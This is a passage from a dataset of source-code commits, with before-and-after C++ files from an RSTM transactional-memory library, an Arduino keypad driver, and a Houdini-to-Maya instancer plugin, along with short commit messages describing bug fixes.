creation is in progress\n \/\/ - Adaptivity is in progress\n \/\/\n \/\/ The first of these cases requires us to abort, because the irrevoc\n \/\/ thread is running the 'wait for everyone' code that immediately\n \/\/ follows this CAS. Since we can't distinguish the three cases,\n \/\/ we'll just abort all the time. The impact should be minimal.\n if (!bcasptr(&TxThread::tmbegin, stms[curr_policy.ALG_ID].begin,\n &begin_blocker))\n tx->tmabort(tx);\n\n \/\/ wait for everyone to be out of a transaction (scope == NULL)\n for (unsigned i = 0; i < threadcount.val; ++i)\n while ((i != (tx->id-1)) && (threads[i]->scope))\n spin64();\n\n \/\/ try to become irrevocable inflight\n tx->irrevocable = TxThread::tmirrevoc(tx);\n\n \/\/ If inflight succeeded, switch our barriers and return true.\n if (tx->irrevocable) {\n set_irrevocable_barriers(*tx);\n return;\n }\n\n \/\/ Otherwise we tmabort (but mark ourselves as irrevocable so that we get\n \/\/ through the begin_blocker after the abort). We don't switch the barriers\n \/\/ here because a) one of the barriers that we'd like to switch is\n \/\/ rollback, which is used by tmabort and b) rollback is designed to reset\n \/\/ our barriers to the default read-only barriers for the algorithm which\n \/\/ will just overwrite what we do here\n \/\/\n \/\/ begin_blocker sets our barriers to be irrevocable if we have our\n \/\/ irrevocable flag set.\n tx->irrevocable = true;\n tx->tmabort(tx);\n }\n\n \/**\n * True if the current algorithm is irrevocable.\n *\/\n bool is_irrevoc(const TxThread& tx)\n {\n if (tx.irrevocable || TxThread::tmirrevoc == stms[CGL].irrevoc)\n return true;\n if ((curr_policy.ALG_ID == MCS) || (curr_policy.ALG_ID == Ticket))\n return true;\n if ((curr_policy.ALG_ID == TML) && (tx.tmlHasLock))\n return true;\n if (curr_policy.ALG_ID == Serial)\n return true;\n return false;\n }\n\n \/**\n * Custom begin method that blocks the starting thread, in order to get\n * rendezvous correct during mode switching and GRL irrevocability. It\n * doubles as an irrevocability mechanism for implementations where we don't\n * have (or can't write) an in-flight irrevocability mechanism.\n *\/\n bool begin_blocker(TxThread* tx)\n {\n \/\/ if the caller is trying to restart as irrevocable, let them\n if (tx->irrevocable) {\n set_irrevocable_barriers(*tx);\n return true;\n }\n\n \/\/ adapt without longjmp\n while (true) {\n \/\/ first, clear the outer scope, because it's our 'tx\/nontx' flag\n scope_t* b = tx->scope;\n tx->scope = 0;\n \/\/ next, wait for the begin_blocker to be uninstalled\n while (TxThread::tmbegin == begin_blocker)\n spin64();\n CFENCE;\n \/\/ now re-install the scope\n#ifdef STM_CPU_SPARC\n tx->scope = b; WBR;\n#else\n casptr((volatile uintptr_t*)&tx->scope, (uintptr_t)0, (uintptr_t)b);\n#endif\n \/\/ read the begin function pointer AFTER setting the scope\n bool TM_FASTCALL (*beginner)(TxThread*) = TxThread::tmbegin;\n \/\/ if begin_blocker is no longer installed, we can call the pointer\n \/\/ to start a transaction, and then return. Otherwise, we missed our\n \/\/ window, so we need to go back to the top of the loop.\n if (beginner != begin_blocker)\n return beginner(tx);\n }\n }\n}\n\n<commit_msg>Fixed the allocation logic for irrevocable transactions. Becoming irrevocable used to mess up the allocator's counter logic, which meant that we'd hit malloc and free from transactional contexts. Not sure how anything irrevocable ever worked... always concerning. :-|<commit_after>\/**\n * Copyright (C) 2011\n * University of Rochester Department of Computer Science\n * and\n * Lehigh University Department of Computer Science and Engineering\n *\n * License: Modified BSD\n * Please see the file LICENSE.RSTM for licensing information\n *\/\n\n#include \"profiling.hpp\" \/\/ Trigger\n#include \"common\/platform.hpp\" \/\/ NORETURN, FASTCALL, etc\n#include \"stm\/lib_globals.hpp\" \/\/ AbortHandler\n#include \"stm\/macros.hpp\" \/\/ barrier signatures\n#include \"stm\/txthread.hpp\" \/\/ TxThread stuff\n#include \"policies\/policies.hpp\" \/\/ curr_policy\n#include \"algs\/algs.hpp\" \/\/ stms\n#include \"algs\/tml_inline.hpp\"\n\nusing stm::UNRECOVERABLE;\nusing stm::TxThread;\nusing stm::AbortHandler;\nusing stm::stms;\nusing stm::curr_policy;\nusing stm::CGL;\nusing stm::Trigger;\n\nnamespace {\n \/**\n * The abort handler is set during sys_init. We overwrite it with\n * abort_irrevocable when a transaction becomes irrevocable, and we save the\n * old one here so we can restore it during commit.\n *\/\n AbortHandler old_abort_handler = NULL;\n\n \/**\n * Handler for abort attempts while irrevocable. Useful for trapping problems\n * early.\n *\/\n NORETURN void abort_irrevocable(TxThread* tx)\n {\n UNRECOVERABLE(\"Irrevocable thread attempted to abort.\");\n }\n\n \/**\n * Handler for rollback attempts while irrevocable. Useful for trapping\n * problems early.\n *\n * NB: For whatever reason a 'using stm::scope_t' triggers an ICE in Mac OS\n * X's default gcc-4.2.1. It's fine if we use the fully qualified\n * namespace here.\n *\/\n stm::scope_t* rollback_irrevocable(STM_ROLLBACK_SIG(,,))\n {\n UNRECOVERABLE(\"Irrevocable thread attempted to rollback.\");\n return NULL;\n }\n\n \/**\n * Resets all of the barriers to be the curr_policy bariers, except for\n * tmabort which reverts to the one we saved, and tmbegin which should be\n * done manually in the caller.\n *\/\n inline void unset_irrevocable_barriers(TxThread& tx)\n {\n tx.tmread = stms[curr_policy.ALG_ID].read;\n tx.tmwrite = stms[curr_policy.ALG_ID].write;\n tx.tmcommit = stms[curr_policy.ALG_ID].commit;\n tx.tmrollback = stms[curr_policy.ALG_ID].rollback;\n TxThread::tmirrevoc = stms[curr_policy.ALG_ID].irrevoc;\n tx.tmabort = old_abort_handler;\n }\n\n \/**\n * custom commit for irrevocable transactions\n *\/\n TM_FASTCALL void commit_irrevocable(TxThread* tx)\n {\n \/\/ make self non-irrevocable, and unset local r\/w\/c barriers\n tx->irrevocable = false;\n unset_irrevocable_barriers(*tx);\n \/\/ now allow other transactions to run\n CFENCE;\n TxThread::tmbegin = stms[curr_policy.ALG_ID].begin;\n \/\/ finally, call the standard commit cleanup routine\n \/\/ OnReadOnlyCommit(tx);\n \/\/ NB: We need custom commit logic here, in particular, we don't want to\n \/\/ notify the allocator of anything because irrevocable transactions\n \/\/ don't buffer allocations.\n tx->abort_hist.onCommit(tx->consec_aborts);\n tx->consec_aborts = 0;\n ++tx->num_commits;\n Trigger::onCommitSTM(tx);\n }\n\n \/**\n * Sets all of the barriers to be irrevocable, except tmbegin.\n *\/\n inline void set_irrevocable_barriers(TxThread& tx)\n {\n tx.tmread = stms[CGL].read;\n tx.tmwrite = stms[CGL].write;\n tx.tmcommit = commit_irrevocable;\n tx.tmrollback = rollback_irrevocable;\n TxThread::tmirrevoc = stms[CGL].irrevoc;\n old_abort_handler = tx.tmabort;\n tx.tmabort = abort_irrevocable;\n }\n}\n\nnamespace stm\n{\n \/**\n * The 'Serial' algorithm requires a custom override for irrevocability,\n * which we implement here.\n *\/\n void serial_irrevoc_override(TxThread* tx);\n\n \/**\n * Try to become irrevocable, inflight. This happens via mode\n * switching. If the inflight irrevocability fails, we fall-back to an\n * abort-and-restart-as-irrevocable scheme, based on the understanding\n * that the begin_blocker tmbegin barrier will configure us as irrevocable\n * and let us through if we have our irrevocable flag set. In addition to\n * letting us through, it will set our barrier pointers to be the\n * irrevocable barriers---it has to be done here because the rollback that\n * the abort triggers will reset anything we try and set here.\n *\/\n void become_irrevoc()\n {\n TxThread* tx = Self;\n \/\/ special code for degenerate STM implementations\n \/\/\n \/\/ NB: stm::is_irrevoc relies on how this works, so if it changes then\n \/\/ please update that code as well.\n if (TxThread::tmirrevoc == stms[CGL].irrevoc)\n return;\n\n if ((curr_policy.ALG_ID == MCS) || (curr_policy.ALG_ID == Ticket))\n return;\n\n if (curr_policy.ALG_ID == Serial) {\n serial_irrevoc_override(tx);\n return;\n }\n\n if (curr_policy.ALG_ID == TML) {\n if (!tx->tmlHasLock)\n beforewrite_TML(tx);\n return;\n }\n\n \/\/ prevent new txns from starting. If this fails, it means one of\n \/\/ three things:\n \/\/\n \/\/ - Someone else became irrevoc\n \/\/ - Thread creation is in progress\n \/\/ - Adaptivity is in progress\n \/\/\n \/\/ The first of these cases requires us to abort, because the irrevoc\n \/\/ thread is running the 'wait for everyone' code that immediately\n \/\/ follows this CAS. Since we can't distinguish the three cases,\n \/\/ we'll just abort all the time. The impact should be minimal.\n if (!bcasptr(&TxThread::tmbegin, stms[curr_policy.ALG_ID].begin,\n &begin_blocker))\n tx->tmabort(tx);\n\n \/\/ wait for everyone to be out of a transaction (scope == NULL)\n for (unsigned i = 0; i < threadcount.val; ++i)\n while ((i != (tx->id-1)) && (threads[i]->scope))\n spin64();\n\n \/\/ try to become irrevocable inflight\n tx->irrevocable = TxThread::tmirrevoc(tx);\n\n \/\/ If inflight succeeded, switch our barriers and return true.\n if (tx->irrevocable) {\n tx->allocator.onTxCommit(); \/\/ tell the allocator do cleanup\n set_irrevocable_barriers(*tx);\n return;\n }\n\n \/\/ Otherwise we tmabort (but mark ourselves as irrevocable so that we get\n \/\/ through the begin_blocker after the abort). We don't switch the barriers\n \/\/ here because a) one of the barriers that we'd like to switch is\n \/\/ rollback, which is used by tmabort and b) rollback is designed to reset\n \/\/ our barriers to the default read-only barriers for the algorithm which\n \/\/ will just overwrite what we do here\n \/\/\n \/\/ begin_blocker sets our barriers to be irrevocable if we have our\n \/\/ irrevocable flag set.\n tx->irrevocable = true;\n tx->tmabort(tx);\n }\n\n \/**\n * True if the current algorithm is irrevocable.\n *\/\n bool is_irrevoc(const TxThread& tx)\n {\n if (tx.irrevocable || TxThread::tmirrevoc == stms[CGL].irrevoc)\n return true;\n if ((curr_policy.ALG_ID == MCS) || (curr_policy.ALG_ID == Ticket))\n return true;\n if ((curr_policy.ALG_ID == TML) && (tx.tmlHasLock))\n return true;\n if (curr_policy.ALG_ID == Serial)\n return true;\n return false;\n }\n\n \/**\n * Custom begin method that blocks the starting thread, in order to get\n * rendezvous correct during mode switching and GRL irrevocability. It\n * doubles as an irrevocability mechanism for implementations where we don't\n * have (or can't write) an in-flight irrevocability mechanism.\n *\/\n bool begin_blocker(TxThread* tx)\n {\n \/\/ if the caller is trying to restart as irrevocable, let them\n \/\/ NB: do not notify allocator of anything because irrevocable\n \/\/ transactions don't buffer allocation.\n if (tx->irrevocable) {\n set_irrevocable_barriers(*tx);\n return true;\n }\n\n \/\/ adapt without longjmp\n while (true) {\n \/\/ first, clear the outer scope, because it's our 'tx\/nontx' flag\n scope_t* b = tx->scope;\n tx->scope = 0;\n \/\/ next, wait for the begin_blocker to be uninstalled\n while (TxThread::tmbegin == begin_blocker)\n spin64();\n CFENCE;\n \/\/ now re-install the scope\n#ifdef STM_CPU_SPARC\n tx->scope = b; WBR;\n#else\n casptr((volatile uintptr_t*)&tx->scope, (uintptr_t)0, (uintptr_t)b);\n#endif\n \/\/ read the begin function pointer AFTER setting the scope\n bool TM_FASTCALL (*beginner)(TxThread*) = TxThread::tmbegin;\n \/\/ if begin_blocker is no longer installed, we can call the pointer\n \/\/ to start a transaction, and then return. Otherwise, we missed our\n \/\/ window, so we need to go back to the top of the loop.\n if (beginner != begin_blocker)\n return beginner(tx);\n }\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"Arduino.h\"\n#include \"DFR_Key.h\"\n\nstatic int DEFAULT_KEY_PIN = 0; \nstatic int DEFAULT_THRESHOLD = 5;\n\n\/*\n\tTo use any alternate set of values you will need to enable it by a define.\n\tThe define should NOT be done in code or it will impact all users. Visual \n\tStudio users can set 'DF_ROBOT_V1' in the Preprocessor definitions of the\n\tproject, or add '-DDF_ROBOT_V1' under advanced options.\n\n\tUsers of the standard Arduino IDE should create the file 'platform.local.txt'\n\tunder <arduino_install>\/hardware.arduino\/avr and add the following line but\n\tbe aware that when you upgrade your IDE this file may need to be re-created:\n\n\tcompiler.cpp.extra_flags=-DDF_ROBOT_V1\n\t\n\tIf further values are added in the future then of course adjust the name\n\tof the define that you specify accordingly.\n*\/\n#ifdef DF_ROBOT_V1\n\tstatic int RIGHTKEY_ARV = 0;\n\tstatic int DOWNKEY_ARV\t= 98; \/\/that's read \"analogue read value\"\n\tstatic int UPKEY_ARV\t= 254;\n\tstatic int LEFTKEY_ARV\t= 407;\n\tstatic int SELKEY_ARV\t= 638;\n\tstatic int NOKEY_ARV\t= 1023;\n#else\n\tstatic int UPKEY_ARV\t= 144; \/\/that's read \"analogue read value\"\n\tstatic int DOWNKEY_ARV\t= 329;\n\tstatic int LEFTKEY_ARV\t= 505;\n\tstatic int RIGHTKEY_ARV = 0;\n\tstatic int SELKEY_ARV\t= 742;\n\tstatic int NOKEY_ARV\t= 1023;\n#endif \/\/ ALT_VALUES\n\nDFR_Key::DFR_Key()\n{\t\n _refreshRate = 10;\n _keyPin = DEFAULT_KEY_PIN;\n _threshold = DEFAULT_THRESHOLD;\n _keyIn = NO_KEY;\n _curInput = NO_KEY;\n _curKey = NO_KEY;\n _prevInput = NO_KEY;\n _prevKey = NO_KEY;\n _oldTime = 0;\n}\n\nint DFR_Key::getKey()\n{\n if (millis() > _oldTime + _refreshRate)\n {\n _prevInput = _curInput;\n _curInput = analogRead(_keyPin);\n \n if (_curInput == _prevInput)\n {\n _change = false;\n _curKey = _prevKey;\n }\n else\n {\n _change = true;\n _prevKey = _curKey;\n \n if (_curInput > UPKEY_ARV - _threshold && _curInput < UPKEY_ARV + _threshold ) _curKey = UP_KEY;\n else if (_curInput > DOWNKEY_ARV - _threshold && _curInput < DOWNKEY_ARV + _threshold ) _curKey = DOWN_KEY;\n else if (_curInput > RIGHTKEY_ARV - _threshold && _curInput < RIGHTKEY_ARV + _threshold ) _curKey = RIGHT_KEY;\n else if (_curInput > LEFTKEY_ARV - _threshold && _curInput < LEFTKEY_ARV + _threshold ) _curKey = LEFT_KEY;\n else if (_curInput > SELKEY_ARV - _threshold && _curInput < SELKEY_ARV + _threshold ) _curKey = SELECT_KEY;\n else _curKey = NO_KEY;\n }\n \n if (_change) return _curKey; else return SAMPLE_WAIT;\n _oldTime = millis();\n }\n}\n\nvoid DFR_Key::setRate(int rate)\n{\n _refreshRate = rate;\n}<commit_msg>Modified order of keypad defines for SwainSmart v1.1<commit_after>#include \"Arduino.h\"\n#include \"DFR_Key.h\"\n\nstatic int DEFAULT_KEY_PIN = 0; \nstatic int DEFAULT_THRESHOLD = 5;\n\n\/*\n\tTo use any alternate set of values you will need to enable it by a define.\n\tThe define should NOT be done in code or it will impact all users. Visual \n\tStudio users can set 'DF_ROBOT_V1' in the Preprocessor definitions of the\n\tproject, or add '-DDF_ROBOT_V1' under advanced options.\n\n\tUsers of the standard Arduino IDE should create the file 'platform.local.txt'\n\tunder <arduino_install>\/hardware.arduino\/avr and add the following line but\n\tbe aware that when you upgrade your IDE this file may need to be re-created:\n\n\tcompiler.cpp.extra_flags=-DDF_ROBOT_V1\n\t\n\tIf further values are added in the future then of course adjust the name\n\tof the define that you specify accordingly.\n*\/\n#ifdef DF_ROBOT_V1\n\tstatic int RIGHTKEY_ARV = 0;\t\/\/that's read \"analogue read value\"\n\tstatic int DOWNKEY_ARV\t= 98; \n\tstatic int UPKEY_ARV\t= 254;\n\tstatic int LEFTKEY_ARV\t= 407;\n\tstatic int SELKEY_ARV\t= 638;\n\tstatic int NOKEY_ARV\t= 1023;\n#else\n\tstatic int RIGHTKEY_ARV = 0;\n\tstatic int UPKEY_ARV\t= 144;\n\tstatic int DOWNKEY_ARV\t= 329;\n\tstatic int LEFTKEY_ARV\t= 505;\n\tstatic int SELKEY_ARV\t= 742;\n\tstatic int NOKEY_ARV\t= 1023;\n#endif\n\nDFR_Key::DFR_Key()\n{\t\n _refreshRate = 10;\n _keyPin = DEFAULT_KEY_PIN;\n _threshold = DEFAULT_THRESHOLD;\n _keyIn = NO_KEY;\n _curInput = NO_KEY;\n _curKey = NO_KEY;\n _prevInput = NO_KEY;\n _prevKey = NO_KEY;\n _oldTime = 0;\n}\n\nint DFR_Key::getKey()\n{\n if (millis() > _oldTime + _refreshRate)\n {\n _prevInput = _curInput;\n _curInput = analogRead(_keyPin);\n \n if (_curInput == _prevInput)\n {\n _change = false;\n _curKey = _prevKey;\n }\n else\n {\n _change = true;\n _prevKey = _curKey;\n \n if (_curInput > UPKEY_ARV - _threshold && _curInput < UPKEY_ARV + _threshold ) _curKey = UP_KEY;\n else if (_curInput > DOWNKEY_ARV - _threshold && _curInput < DOWNKEY_ARV + _threshold ) _curKey = DOWN_KEY;\n else if (_curInput > RIGHTKEY_ARV - _threshold && _curInput < RIGHTKEY_ARV + _threshold ) _curKey = RIGHT_KEY;\n else if (_curInput > LEFTKEY_ARV - _threshold && _curInput < LEFTKEY_ARV + _threshold ) _curKey = LEFT_KEY;\n else if (_curInput > SELKEY_ARV - _threshold && _curInput < SELKEY_ARV + _threshold ) _curKey = SELECT_KEY;\n else _curKey = NO_KEY;\n }\n \n if (_change) return _curKey; else return SAMPLE_WAIT;\n _oldTime = millis();\n }\n}\n\nvoid DFR_Key::setRate(int rate)\n{\n _refreshRate = rate;\n}<|endoftext|>"} {"text":"<commit_before>#include <maya\/MFnMesh.h>\n#include <maya\/MFnMeshData.h>\n#include <maya\/MEulerRotation.h>\n#include <maya\/MQuaternion.h>\n#include <maya\/MFnArrayAttrsData.h>\n\n#include \"Asset.h\"\n#include \"AssetNode.h\"\n#include \"AssetNodeOptions.h\"\n#include \"OutputInstancerObject.h\"\n#include \"hapiutil.h\"\n#include \"util.h\"\n\nOutputInstancerObject::OutputInstancerObject(\n HAPI_NodeId nodeId\n ) :\n OutputObject(\n nodeId\n ),\n myGeoInfo(HAPI_GeoInfo_Create()),\n myLastSopCookCount(0)\n{\n}\n\nOutputInstancerObject::~OutputInstancerObject() {}\n\nOutputObject::ObjectType\nOutputInstancerObject::type()\n{\n return OutputObject::OBJECT_TYPE_INSTANCER;\n}\n\nvoid\nOutputInstancerObject::update()\n{\n HAPI_Result hapiResult;\n\n hapiResult = HAPI_GetNodeInfo(\n Util::theHAPISession.get(),\n myNodeId, &myNodeInfo\n );\n CHECK_HAPI(hapiResult);\n\n hapiResult = HAPI_GetObjectInfo(\n Util::theHAPISession.get(),\n myNodeId, &myObjectInfo\n );\n CHECK_HAPI(hapiResult);\n\n \/\/ Get the SOP nodes\n int geoCount;\n hapiResult = HAPI_ComposeChildNodeList(\n Util::theHAPISession.get(),\n myNodeId,\n HAPI_NODETYPE_SOP,\n HAPI_NODEFLAGS_DISPLAY,\n false,\n &geoCount\n );\n CHECK_HAPI(hapiResult);\n\n std::vector<HAPI_NodeId> geoNodeIds(geoCount);\n if(geoCount > 0)\n {\n hapiResult = HAPI_GetComposedChildNodeList(\n Util::theHAPISession.get(),\n myNodeId,\n &geoNodeIds.front(),\n geoCount\n );\n CHECK_HAPI(hapiResult);\n\n hapiResult = HAPI_GetNodeInfo(\n Util::theHAPISession.get(),\n geoNodeIds[0],\n &mySopNodeInfo\n );\n CHECK_HAPI(hapiResult);\n\n hapiResult = HAPI_GetGeoInfo(\n Util::theHAPISession.get(),\n geoNodeIds[0],\n &myGeoInfo\n );\n CHECK_HAPI(hapiResult);\n }\n\n if(mySopNodeInfo.totalCookCount > myLastSopCookCount)\n {\n \/\/ clear the arrays\n myInstancedObjectNames.clear();\n myInstancedObjectIndices.clear();\n myUniqueInstObjNames.clear();\n myHoudiniInstanceAttribute.clear();\n myHoudiniNameAttribute.clear();\n\n hapiResult = HAPI_GetPartInfo(\n Util::theHAPISession.get(),\n mySopNodeInfo.id, 0,\n &myPartInfo\n );\n CHECK_HAPI(hapiResult);\n\n if(myObjectInfo.objectToInstanceId >= 0)\n {\n myInstancedObjectIndices = MIntArray(myPartInfo.pointCount, 0);\n return;\n }\n\n \/\/ fill array of size pointCount of instanced names\n HAPI_AttributeInfo attrInfo;\n MStringArray instanceAttrs;\n hapiGetPointAttribute(mySopNodeInfo.id, 0, \"instance\", attrInfo, instanceAttrs);\n for(unsigned int i=0; i<instanceAttrs.length(); i++)\n {\n MStringArray splitObjName;\n instanceAttrs[i].split('\/', splitObjName);\n myInstancedObjectNames.append(splitObjName[splitObjName.length()-1]);\n myHoudiniInstanceAttribute.append(instanceAttrs[i]);\n }\n\n MStringArray nameAttrs;\n hapiGetPointAttribute(mySopNodeInfo.id, 0, \"name\", attrInfo, nameAttrs);\n for(unsigned int ii = 0; ii < nameAttrs.length(); ii++)\n {\n myHoudiniNameAttribute.append(nameAttrs[ii]);\n }\n\n \/\/ get a list of unique instanced names, and compute the object indices that would\n \/\/ be passed to Maya instancer\n for(unsigned int i = 0; i< myInstancedObjectNames.length(); ++i)\n {\n bool duplicate = false;\n unsigned int j = 0;\n for(; j< myUniqueInstObjNames.length(); ++j)\n {\n if(myUniqueInstObjNames[j] == myInstancedObjectNames[i])\n {\n duplicate = true;\n break;\n }\n }\n if(!duplicate)\n myUniqueInstObjNames.append(myInstancedObjectNames[i]);\n myInstancedObjectIndices.append((int) j);\n }\n\n \/\/ Workaround a crash where we can't determine the object to instance.\n if(!myInstancedObjectNames.length())\n {\n myInstancedObjectIndices = MIntArray(myPartInfo.pointCount, -1);\n }\n }\n}\n\nMIntArray\nOutputInstancerObject::getInstancedObjIds()\n{\n MIntArray ret;\n if(myObjectInfo.objectToInstanceId >= 0)\n ret.append(myObjectInfo.objectToInstanceId);\n return ret;\n}\n\nMStringArray\nOutputInstancerObject::getUniqueInstObjNames()\n{\n return myUniqueInstObjNames;\n}\n\nMStatus\nOutputInstancerObject::compute(\n const MTime &time,\n const MPlug &plug,\n MDataBlock& data,\n MDataHandle& handle,\n AssetNodeOptions::AccessorDataBlock &options,\n bool &needToSyncOutputs,\n const bool needToRecomputeOutputData\n )\n{\n update();\n\n if(myGeoInfo.partCount <= 0)\n return MS::kFailure;\n\n if((mySopNodeInfo.totalCookCount > myLastSopCookCount) || needToRecomputeOutputData)\n {\n MDataHandle instancerDataHandle = handle.child(AssetNode::outputInstancerData);\n MArrayDataHandle instancedObjectNamesHandle = handle.child(AssetNode::outputInstancedObjectNames);\n MArrayDataHandle houdiniInstanceAttributeHandle = handle.child(AssetNode::outputHoudiniInstanceAttribute);\n MArrayDataHandle houdiniNameAttributeHandle = handle.child(AssetNode::outputHoudiniNameAttribute);\n MArrayDataHandle instanceTransformHandle = handle.child(AssetNode::outputInstanceTransform);\n\n MObject arrayDataObj = instancerDataHandle.data();\n MFnArrayAttrsData arrayDataFn(arrayDataObj);\n if(arrayDataObj.isNull())\n {\n arrayDataObj = arrayDataFn.create();\n instancerDataHandle.set(arrayDataObj);\n\n arrayDataObj = instancerDataHandle.data();\n arrayDataFn.setObject(arrayDataObj);\n }\n\n MVectorArray positions = arrayDataFn.vectorArray(\"position\");\n MVectorArray rotations = arrayDataFn.vectorArray(\"rotation\");\n MVectorArray scales = arrayDataFn.vectorArray(\"scale\");\n MIntArray objectIndices = arrayDataFn.intArray(\"objectIndex\");\n\n unsigned int size = myPartInfo.pointCount;\n HAPI_Transform * instTransforms = new HAPI_Transform[size];\n CHECK_HAPI(HAPI_GetInstanceTransformsOnPart(\n Util::theHAPISession.get(),\n\t\t0,\n mySopNodeInfo.id,\n HAPI_SRT,\n instTransforms,\n 0, size\n ));\n\n Util::resizeArrayDataHandle(houdiniInstanceAttributeHandle, size);\n Util::resizeArrayDataHandle(houdiniNameAttributeHandle, size);\n Util::resizeArrayDataHandle(instanceTransformHandle, size);\n\n if(positions.length() != size && !options.useInstancerNode())\n {\n needToSyncOutputs = true;\n }\n\n positions.setLength(size);\n rotations.setLength(size);\n scales.setLength(size);\n objectIndices.setLength(size);\n\n for(unsigned int j=0; j<size; j++)\n {\n HAPI_Transform it = instTransforms[j];\n MVector p(it.position[0], it.position[1], it.position[2]);\n MVector r = MQuaternion(it.rotationQuaternion[0],\n it.rotationQuaternion[1], it.rotationQuaternion[2],\n it.rotationQuaternion[3]).asEulerRotation().asVector();\n MVector s(it.scale[0], it.scale[1], it.scale[2]);\n\n int objIndex = myInstancedObjectIndices[j];\n\n if (options.preserveScale())\n p *= 100.0;\n\n positions[j] = p;\n rotations[j] = r;\n scales[j] = s;\n objectIndices[j] = objIndex;\n\n CHECK_MSTATUS(houdiniInstanceAttributeHandle.jumpToArrayElement(j));\n MDataHandle intanceAttributeHandle = houdiniInstanceAttributeHandle.outputValue();\n intanceAttributeHandle .set(myHoudiniInstanceAttribute[j]);\n\n CHECK_MSTATUS(houdiniNameAttributeHandle.jumpToArrayElement(j));\n MDataHandle nameAttributeHandle = houdiniNameAttributeHandle.outputValue();\n nameAttributeHandle.set(myHoudiniNameAttribute[j]);\n\n CHECK_MSTATUS(instanceTransformHandle.jumpToArrayElement(j));\n MDataHandle transformHandle = instanceTransformHandle.outputValue();\n\n MDataHandle translateHandle = transformHandle.child(AssetNode::outputInstanceTranslate);\n MDataHandle rotateHandle = transformHandle.child(AssetNode::outputInstanceRotate);\n MDataHandle scaleHandle = transformHandle.child(AssetNode::outputInstanceScale);\n\n MDataHandle txHandle = translateHandle.child(AssetNode::outputInstanceTranslateX);\n txHandle.set(p.x);\n MDataHandle tyHandle = translateHandle.child(AssetNode::outputInstanceTranslateY);\n tyHandle.set(p.y);\n MDataHandle tzHandle = translateHandle.child(AssetNode::outputInstanceTranslateZ);\n tzHandle.set(p.z);\n\n MDataHandle rxHandle = rotateHandle.child(AssetNode::outputInstanceRotateX);\n rxHandle.set(r.x);\n MDataHandle ryHandle = rotateHandle.child(AssetNode::outputInstanceRotateY);\n ryHandle.set(r.y);\n MDataHandle rzHandle = rotateHandle.child(AssetNode::outputInstanceRotateZ);\n rzHandle.set(r.z);\n\n MDataHandle sxHandle = scaleHandle.child(AssetNode::outputInstanceScaleX);\n sxHandle.set(s.x);\n MDataHandle syHandle = scaleHandle.child(AssetNode::outputInstanceScaleY);\n syHandle.set(s.y);\n MDataHandle szHandle = scaleHandle.child(AssetNode::outputInstanceScaleZ);\n szHandle.set(s.z);\n }\n\n houdiniInstanceAttributeHandle.setAllClean();\n houdiniNameAttributeHandle.setAllClean();\n instanceTransformHandle.setAllClean();\n\n delete[] instTransforms;\n\n if(myObjectInfo.objectToInstanceId >= 0)\n {\n \/\/ instancing a single object\n Util::resizeArrayDataHandle(instancedObjectNamesHandle, 1);\n\n HAPI_ObjectInfo instanceObjectInfo;\n CHECK_HAPI(HAPI_GetObjectInfo(\n Util::theHAPISession.get(),\n myObjectInfo.objectToInstanceId,\n &instanceObjectInfo\n ));\n MString name = Util::HAPIString(instanceObjectInfo.nameSH);\n\n CHECK_MSTATUS(instancedObjectNamesHandle.jumpToArrayElement(0));\n MDataHandle h = instancedObjectNamesHandle.outputValue();\n h.set(name);\n } else\n {\n \/\/ instancing multiple objects\n Util::resizeArrayDataHandle(instancedObjectNamesHandle,\n myUniqueInstObjNames.length());\n\n for(unsigned int i=0; i< myUniqueInstObjNames.length(); i++)\n {\n CHECK_MSTATUS(instancedObjectNamesHandle.jumpToArrayElement(i));\n MDataHandle h = instancedObjectNamesHandle.outputValue();\n h.set(myUniqueInstObjNames[i]);\n }\n }\n instancedObjectNamesHandle.setAllClean();\n\n myLastSopCookCount = mySopNodeInfo.totalCookCount;\n }\n\n return MS::kSuccess;\n}\n<commit_msg>fix typo that caused instance transforms to sometimes not be computed in the maya plugin.<commit_after>#include <maya\/MFnMesh.h>\n#include <maya\/MFnMeshData.h>\n#include <maya\/MEulerRotation.h>\n#include <maya\/MQuaternion.h>\n#include <maya\/MFnArrayAttrsData.h>\n\n#include \"Asset.h\"\n#include \"AssetNode.h\"\n#include \"AssetNodeOptions.h\"\n#include \"OutputInstancerObject.h\"\n#include \"hapiutil.h\"\n#include \"util.h\"\n\nOutputInstancerObject::OutputInstancerObject(\n HAPI_NodeId nodeId\n ) :\n OutputObject(\n nodeId\n ),\n myGeoInfo(HAPI_GeoInfo_Create()),\n myLastSopCookCount(0)\n{\n}\n\nOutputInstancerObject::~OutputInstancerObject() {}\n\nOutputObject::ObjectType\nOutputInstancerObject::type()\n{\n return OutputObject::OBJECT_TYPE_INSTANCER;\n}\n\nvoid\nOutputInstancerObject::update()\n{\n HAPI_Result hapiResult;\n\n hapiResult = HAPI_GetNodeInfo(\n Util::theHAPISession.get(),\n myNodeId, &myNodeInfo\n );\n CHECK_HAPI(hapiResult);\n\n hapiResult = HAPI_GetObjectInfo(\n Util::theHAPISession.get(),\n myNodeId, &myObjectInfo\n );\n CHECK_HAPI(hapiResult);\n\n \/\/ Get the SOP nodes\n int geoCount;\n hapiResult = HAPI_ComposeChildNodeList(\n Util::theHAPISession.get(),\n myNodeId,\n HAPI_NODETYPE_SOP,\n HAPI_NODEFLAGS_DISPLAY,\n false,\n &geoCount\n );\n CHECK_HAPI(hapiResult);\n\n std::vector<HAPI_NodeId> geoNodeIds(geoCount);\n if(geoCount > 0)\n {\n hapiResult = HAPI_GetComposedChildNodeList(\n Util::theHAPISession.get(),\n myNodeId,\n &geoNodeIds.front(),\n geoCount\n );\n CHECK_HAPI(hapiResult);\n\n hapiResult = HAPI_GetNodeInfo(\n Util::theHAPISession.get(),\n geoNodeIds[0],\n &mySopNodeInfo\n );\n CHECK_HAPI(hapiResult);\n\n hapiResult = HAPI_GetGeoInfo(\n Util::theHAPISession.get(),\n geoNodeIds[0],\n &myGeoInfo\n );\n CHECK_HAPI(hapiResult);\n }\n\n if(mySopNodeInfo.totalCookCount > myLastSopCookCount)\n {\n \/\/ clear the arrays\n myInstancedObjectNames.clear();\n myInstancedObjectIndices.clear();\n myUniqueInstObjNames.clear();\n myHoudiniInstanceAttribute.clear();\n myHoudiniNameAttribute.clear();\n\n hapiResult = HAPI_GetPartInfo(\n Util::theHAPISession.get(),\n mySopNodeInfo.id, 0,\n &myPartInfo\n );\n CHECK_HAPI(hapiResult);\n\n if(myObjectInfo.objectToInstanceId >= 0)\n {\n myInstancedObjectIndices = MIntArray(myPartInfo.pointCount, 0);\n return;\n }\n\n \/\/ fill array of size pointCount of instanced names\n 